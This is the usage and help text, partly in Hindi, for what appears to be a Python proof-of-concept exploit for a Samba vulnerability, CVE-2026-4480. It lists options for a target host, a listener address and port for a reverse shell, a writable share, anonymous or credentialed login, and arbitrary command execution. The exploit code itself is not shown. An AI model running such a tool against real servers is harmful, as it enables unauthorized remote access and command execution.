
यह CVE-2026-4480 के लिए एक शोषण पीओसी है
Usage:python3 exploit.py --lhost <listenerhost> --lport <listenerport> -t <target> -N (it is for anonymous login)
python3 exploit.py --lhost <listenerhost> --lport <listenerport> -t <target> -u <username> -p <password>
[!] Error: the following arguments are required: -s/--sharename
[*] Note: if user is anonymous and no password, then just add -N without -u or -p
##### Usage:
exploit.py [-h] -t TARGET -Lh LHOST -Lp LPORT -s SHARENAME [-c CMD] (-N | -u USERNAME) [-p PASSWORD]
options:
-h, --help show this help message and exit
-t, --target TARGET target Samba host/IP (rhost)
-Lh, --lhost LHOST your listener IP (e.g. tun0)
-Lp, --lport LPORT your listener port
-s, --sharename SHARENAME (Writable SMB share / printer name)
-c, --cmd CMD run a specific shell command instead of a reverse shell
-N, --no-pass Anonymous / guest login
-u, --username USERNAME (Username for authentication)
-p, --password PASSWORD (Password for authentication)```